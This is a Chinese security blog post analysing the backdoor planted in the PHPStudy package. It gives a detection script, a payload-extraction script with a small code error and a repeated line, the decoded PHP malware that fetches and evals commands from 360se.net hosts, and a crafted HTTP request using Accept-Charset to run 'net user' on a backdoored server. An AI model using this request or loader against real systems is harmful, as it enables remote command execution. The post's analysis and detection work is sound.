PHPStudy後門植入代碼和利用分析

 

PHPStudy軟件是國內的一款免費的PHP調試環境集成包,一般在本機調試情況下使用,當然也有一些企業在生產中也可能使用。該後門首先由ChaMd5安全團隊發佈監測方法和後門位置。該軟件被惡意攻擊者攻擊,注入了後門,通過遠程控制抓取賬號密碼等信息傳固定服務器上。

要檢查安裝的phpstudy是否有漏洞,可以使用下面腳本(安識安全團隊撰寫的,不重複造輪子了)

#encoding:utf-8

#uthor__='安識科技安全服務團隊'

#date__='2019/09/23'

import sys

reload(sys)

import os

import re

sys.setdefaultencoding('utf8')

def check_file(filename):

     backdoor="@eval(%s('%s'))"    # 後門特徵

     lines = 0

     presence = False  #默認爲無

     if filename.endswith('.dll'):    # 篩選dll文件

         with open(filename, "rb") as backdoors:

             for line in backdoors:

                 if backdoor in line:

                     presence = True

                     break

                 lines += 1 

     return presence, lines

def Check_Vul(PHPStudy_DIR):

     # 檢查目錄

     for dirs,note, filenames in os.walk(PHPStudy_DIR):

         for filename in filenames:

             Check_File = os.path.join(dirs, filename)

             check_res, Row = check_file(Check_File)

             if check_res:

                 print("Find backdoor   {0}  keyboard line: {1}".format(Check_File, Row))

     pass

 

if __name__ == '__main__':

     if len(sys.argv) != 2:

         print("Instructions:[PHPStudy安裝目錄]")

         sys.exit(1)

     else:

         Check_Vul(sys.argv[1])

輸入執行Python check.py  d:\phpstudy,發現包含後門(由於殺毒軟件會刪除包含後門的這個dll文件,所以備份多個)

也可以自行通過IDA等工具在dll中搜索@eval關鍵字,如果找到兩處,則說明是包含後門版本。

可以搜索到在text段10003566和10003636兩處。eval是JavaScript函數,可計算某個字符串,並執行其中的javascript代碼。從地址上來看,第一個%s應該是一個要執行的函數名稱。

按下F5,得到反彙編後的C語言代碼

跟gzuncompress函數有關,該函數是PHP下解壓縮函數,可能是處理哪裏輸入的壓縮數據,解壓後執行。雙擊gzuncompress則跳轉到下面

可以看到gzuncompress(1000D018是gzuncompress函數)下面有一大段數據,每四個字節中只使用了高一位。判斷從1000D028到1000D66C爲zlib壓縮的payload。後門代碼檢查請求頭,當滿足要求後,會獲取壓縮的payload,然後執行@eval(gzuncompress(payload)),

下面是微雲情報局給出的解析壓縮代碼的python腳本。分析腳本:

# -*- coding:utf-8 -*-

    # !/usr/bin/env python

下面是微雲情報局給出的解析壓縮代碼的python腳本。分析腳本:

 

# -*- coding:utf-8 -*-

    # !/usr/bin/env python

下面是微雲情報局給出的解析壓縮代碼的python腳本。分析腳本:

# -*- coding:utf-8 -*-

    # !/usr/bin/env python

import os

import sys,string,   shutil,    re

import base64

import struct

import pefile

import ctypes

import zlib

# import put_family_c2

def hexdump(src, length=16):

    FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])

    lines = []

    for c in xrange(0, len(src), length):

       chars = src[c:c + length]

       hex = ' '.join(["%02x" % ord(x) for x in chars])

       printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars])

      lines.append("%04x  %-*s  %s\n" % (c, length * 3, hex, printable))

    return ''.join(lines)

def descrypt(data):

 try:

 # data = base64.encodestring(data)

 # print(hexdump(data))

  num = 0 

  data = zlib.decompress(data)

  # return result

  return (True, result)

 except Exception as e:

    print(e)

    return (False, "")

 

def GetSectionData(pe, Section):

 try:

   ep = Section.VirtualAddress

   ep_ava = Section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase

   data = pe.get_memory_mapped_image()[ep:ep + Section.Misc_VirtualSize]

   # print(hexdump(data))

   return data

 except Exception, e:

   return None

 

def GetSecsions(PE):

 try:

   for section in PE.sections:

   # print(hexdump(section.Name))

      if (section.Name.replace('\x00', '') == '.data'):

         data = GetSectionData(PE, section)

         # print(hexdump(data))

         return (True, data)

   return (False, "")

 except Exception as e:

   return (False,"")

 

def get_encodedata(filename):

 pe = pefile.PE(filename)

 (ret, data) = GetSecsions(pe)

 if ret:

   flag = "gzuncompress"

   offset = data.find(flag)

   data = data[offset + 0x10:offset + 0x10 + 0x567 * 4].replace("\x00\x00\x00", "")

   decodedata_1 = zlib.decompress(data[:0x191])

   print(hexdump(data[0x191:]))

   decodedata_2 = zlib.decompress(data[0x191:])

   with open("decode_1.txt", "w") as hwrite:

     hwrite.write(decodedata_1)

     hwrite.close

   with open("decode_2.txt", "w") as hwrite:

     hwrite.write(decodedata_2)

     hwrite.close

if __name__ == "__main__":

   print(sys.argv[1])

 get_encodedata(sys.argv[1])

腳本執行,得到文件一個文件

python py3.py D:\phpStudy\php\php-5.4.45\ext\php_xmlrpc1.dll

分析出:

@eval( base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ=='));

 

Base64編碼的代碼如下:

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ==

通過在線工具解碼如下:

@ini_set("display_errors","0");

error_reporting(0);

$h = $_SERVER['HTTP_HOST'];

$p = $_SERVER['SERVER_PORT'];

$fp = fsockopen($h, $p, $errno, $errstr, 5);

if (!$fp) {

} else {

    $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";

    $out .= "Host: {$h}\r\n";

    $out .= "Accept-Encoding: compress,gzip\r\n";

    $out .= "Connection: Close\r\n\r\n";

 

    fwrite($fp, $out);

fclose($fp);

}

另一段代碼通過在線base64解碼:

@ini_set("display_errors","0");

error_reporting(0);

function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){

    $result = "";

  $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);

  if( !$handle ){

    $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);

    if( !$handle ){

       return "err";

    }

  }

  fwrite($handle, $sendMsg."\n");

    while(!feof($handle)){

       stream_set_timeout($handle, 2);

       $result .= fread($handle, 1024);

       $info = stream_get_meta_data($handle);

       if ($info['timed_out']) {

         break;

       }

     }

  fclose($handle);

  return $result;

}

$ds = array("www","bbs","cms","down","up","file","ftp");

$ps = array("20123","40125","8080","80","53");

$n = false;

do {

    $n = false;

    foreach ($ds as $d){

       $b = false;

       foreach ($ps as $p){

           $result = tcpGet($i,$d.".360se.net",$p);

           if ($result != "err"){

$b =true;

              break;

           }

       }

       if ($b)break;

    }

    $info = explode("<^>",$result);

    if (count($info)==4){

       if (strpos($info[3],"/*Onemore*/") !== false){

           $info[3] = str_replace("/*Onemore*/","",$info[3]);

           $n=true;

       }

       @eval(base64_decode($info[3]));

    }

}while($n);

截圖第一段代碼解碼:

截圖另一段代碼解碼:

那麼該後門是如何被利用的呢?

隨便編寫一個PHP代碼,php.php

例如:

<?php

$str="hello phpstudy!";

echo $str;  

?>   

啓動包含後門的phpstudy集成環境,通過訪問php.php,抓一個請求報文,可使用Fiddler抓包,得到下面請求報文:

GET http://127.0.0.1/php.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: */*

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cache-Control: no-cache

Pragma: no-cache

DNT: 1

Connection: keep-alive

Content-Length: 2

 

對報文進行修改,注意deflate前面有一個空格必須刪除,添加執行(windows或Linux)命令的語句,需要把命令通過base64編碼,例如windows下查看網絡用戶net user命令,可以使用system('net user');語句,通過base64編碼爲:c3lzdGVtKCduZXQgdXNlcicpOw==  放在Accept-Charset:後面,具體如下。

GET http://127.0.0.1/php.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: */*

Accept-Encoding: gzip,deflate

Accept-Charset: c3lzdGVtKCduZXQgdXNlcicpOw==

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cache-Control: no-cache

Pragma: no-cache

DNT: 1

Connection: keep-alive

Content-Length: 2

 

在Fiddler中執行上面報文,則可以看到

執行返回報文如下,其中\\COBOT-FREEMAN下面便是當前電腦賬號(中文在Fiddler顯示有可能出現亂碼)。

關注安全  關注作者

(完)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章